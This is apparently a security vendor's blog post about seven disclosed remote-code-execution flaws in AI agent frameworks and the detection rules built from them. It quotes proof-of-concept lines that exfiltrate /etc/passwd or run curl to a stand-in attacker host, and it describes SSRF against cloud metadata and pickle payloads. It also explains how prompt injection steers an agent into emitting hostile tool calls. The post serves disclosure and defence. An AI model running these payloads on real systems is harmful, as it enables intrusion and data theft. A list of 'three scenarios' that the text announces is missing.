Every detection rule in Correctover’s engine has a story. Some come from academic research. Some from incident analysis. But the most effective rules came from a six-week campaign where we systematically hunted for vulnerabilities in the most popular open-source AI agent frameworks — and found 7 remote code execution (RCE) vulnerabilities across 6 major projects.

This article walks through each finding, the vulnerability class, how it was discovered, and most importantly, how each became an automated detection rule that now protects every Correctover user.

The Pattern: Missing Runtime Validation

Before diving into individual findings, it’s worth noting the common thread. Every single vulnerability we found traces back to the same root cause: AI agent frameworks assume tool call arguments are trusted by the time they reach execution.

In traditional software, the path from user input to system call passes through parsers, validators, sanitizers, and authorization layers. In AI agent frameworks, user input goes through an LLM, gets parsed into structured tool calls, and is then executed — often without any validation between the LLM’s output and the operating system’s exec(). The implicit trust placed in the LLM creates a blind spot that attackers can exploit through prompt injection, adversarial inputs, or compromised model providers.

Here are the 7 vulnerabilities that proved this pattern, and the rules they became.

1. CrewAI — Tool Call Argument Injection (CVSS 9.8)

CRITICALCrewAI

Unvalidated tool arguments passed directly to subprocess execution

How found: While analyzing CrewAI’s agent execution pipeline, we discovered that tool call arguments generated by the LLM were passed to Python’s subprocess.Popen() with only string-level type checking. An attacker who could influence the model’s output (via prompt injection or jailbreak) could inject shell metacharacters into tool arguments like file_path or command.

Proof of concept: A prompt that tricks the agent into generating a tool call with file_path = "/tmp/report; curl http://attacker/$(cat /etc/passwd)" would execute the injected shell command before the intended file operation.

Disclosure: Reported via GitHub Advisories. Fixed in CrewAI v0.28.0 with input sanitization on tool arguments.

Detection rule: CCS-RCE-001 — Shell metacharacter detection in tool call string arguments. Matches ;, |, `, $() constructs in subprocess-bound parameters.

2. AutoGen — Code Execution via Unsafe eval() (CVSS 9.4)

CRITICALAutoGen

Generated Python code executed via eval() without sandboxing

How found: AutoGen’s code-writing agent can generate and execute Python code as part of its workflow. We found that the framework’s execute_code function used Python’s built-in eval() on model-generated code snippets when the output format was set to "single" expression. A compromised or jailbroken model could generate arbitrary code, including file I/O, network connections, and process spawning.

Proof of concept: A crafted prompt instructing the coder agent to “optimize a calculation” resulted in the model generating __import__('os').system('curl http://attacker/exfil') as its “optimized expression.”

Disclosure: Submitted via MSRC (Microsoft Security Response Center). Patched in AutoGen v0.7.0 with mandatory docker sandboxing.

Detection rule: CCS-RCE-003 — Dangerous built-in detection in code-generation tool outputs. Flags eval(), exec(), __import__, os.system, subprocess patterns in code tool returns.

3. LiteLLM — SSRF-to-RCE via Model Provider (CVSS 8.6)

CRITICALLiteLLM

Server-side request forgery through custom model endpoint parameter

How found: LiteLLM allows users to specify arbitrary custom model endpoints. We discovered that the endpoint URL was fetched with redirect following enabled and without proper URL validation. An attacker could point the model endpoint to an internal service (e.g., http://169.254.169.254/latest/meta-data/ for cloud metadata SSRF) and, in configurations where the response is processed and cached to disk, achieve RCE through path traversal in the cache filename.

Disclosure: Reported via GitHub Security Advisories. Fixed in LiteLLM v1.45.0 with URL allowlisting and redirect limit enforcement.

Detection rule: CCS-SSRF-001 — Internal/reserved IP detection in model provider endpoint URLs. Blocks requests to RFC 1918, 169.254.x.x, and 0.0.0.0/8 ranges in custom endpoints.

4. LangGraph — Pickle Deserialization RCE (CVSS 9.0)

CRITICALLangGraph

Agent checkpoint/restore via unsafe pickle deserialization

How found: LangGraph’s persistence layer used Python’s pickle module to serialize and restore agent state across graph nodes. An attacker who could inject a crafted payload into the agent’s state (via tool return values, memory, or shared context) could achieve RCE when the state was deserialized by the next node in the graph.

Proof of concept: A tool that returns data containing a pickle __reduce__ payload. When the next graph node deserializes the agent state, the payload executes.

Disclosure: Reported via HackerOne (H1-3859936). Fixed in LangGraph v0.2.5 with JSON-only serialization for cross-node state.

Detection rule: CCS-DESER-001 — Pickle opcode detection in serialized state payloads. Flags __reduce__, __reduce_ex__, and known pickle gadget chains in tool return values and state blobs.

5. Haystack — Pipeline RCE Through Component Configuration (CVSS 9.8)

CRITICALHaystack

Dual vulnerability: command injection in pipeline components + deserialization in document store

How found: Haystack’s pipeline architecture allows custom components with user-defined commands. We found that the CommandLineComponent (used for preprocessing) didn’t sanitize arguments, and the PickleDocumentStore used unsafe deserialization. Either path could lead to RCE in any pipeline that uses these components.

Disclosure: Two CRITICAL findings reported via HackerOne. Fixed in Haystack v2.4.0 with argument sanitization and document store migration.

Detection rules: CCS-RCE-005 (command injection in pipeline components), CCS-DESER-002 (unsafe deserialization in document stores).

6. AG2 (formerly AutoGen) — __str__ Method RCE (CVSS 8.2)

HIGHAG2

Arbitrary code execution via __str__ method injection in agent messages

How found: AG2 agents use str() conversion extensively in conversation logging and message routing. We discovered that if an attacker-controlled message contains a subclass override of __str__, calling str() on the message object triggers the overridden method. A specially crafted message with a malicious __str__ implementation would execute arbitrary code when the agent logs the conversation.

Disclosure: Reported via GitHub. Fixed in AG2 v0.9.0 with strict message type validation.

Detection rule: CCS-RCE-007 — Python dunder-method detection in agent message payloads. Flags __str__, __repr__, __call__ overrides in message content.

7. LlamaIndex — Pickle Deserialization in Document Loading (CVSS 9.0)

CRITICALLlamaIndex

Unsafe deserialization in pickle_load document reader

How found: LlamaIndex ships with a PickleLoadReader that loads serialized documents from pickle files. If an attacker can deliver a crafted pickle file (via RAG ingestion, web crawler, or shared storage), deserialization triggers arbitrary code execution on the indexing server.

Disclosure: Reported via HackerOne. Fixed in LlamaIndex v0.12.0 with deprecation warning and sandboxed unpickling option.

Detection rule: CCS-DESER-003 — Pickle file detection in document ingestion pipelines. Identifies pickle magic bytes (0x8004/0x8005/0x8006) in uploaded/indexed documents.

The Common Thread: Runtime Validation Gap

Looking across all 7 findings, the pattern is unmistakable. Each framework builds sophisticated agentic pipelines with careful design for model orchestration, but the security boundary between the LLM’s output and the execution environment is either weak or nonexistent.

These aren’t “bug” vulnerabilities in the traditional sense. They’re architectural gaps that emerge from a fundamental premise of AI agent frameworks: that the LLM can be trusted to produce safe tool calls. This premise breaks down in three scenarios:

All three scenarios converge on the same defense: validate every execution path at runtime, regardless of whether the input came from a model, a tool, or a human.

From Disclosure to Detection Rule

Each vulnerability we found was translated into one or more CCS detection rules. The translation process follows a consistent pattern:

  1. Extract the execution primitive — What is the exact code path that allows RCE? (subprocess.Popen, eval(), pickle.loads(), etc.)
  2. Identify the input channel — Where does the untrusted data enter? (tool call arguments, tool return values, agent state, uploaded files)
  3. Define the detection surface — What does the malicious input look like at the protocol level? (shell metacharacters, pickle opcodes, dunder method names)
  4. Write and test the rule — Compile into the FSM, test against benign traffic from our 80K-production-trace corpus to ensure no false positives
  5. Validate against the exploit — Confirm that the rule catches the original PoC and its known variants

Today, Correctover’s detection engine includes 24 CCS rules that cover all 7 vulnerability patterns. When you deploy Correctover alongside any of these frameworks, the rules activate automatically at the infrastructure level — no framework modification required.

Protect your AI agents against these attack patterns. Correctover detects RCE, SSRF, and deserialization attacks in real time with false positives actively tracked and reduced in our 24-rule engine. Deploy in 30 seconds. See also our AI runtime threat landscape for the full picture.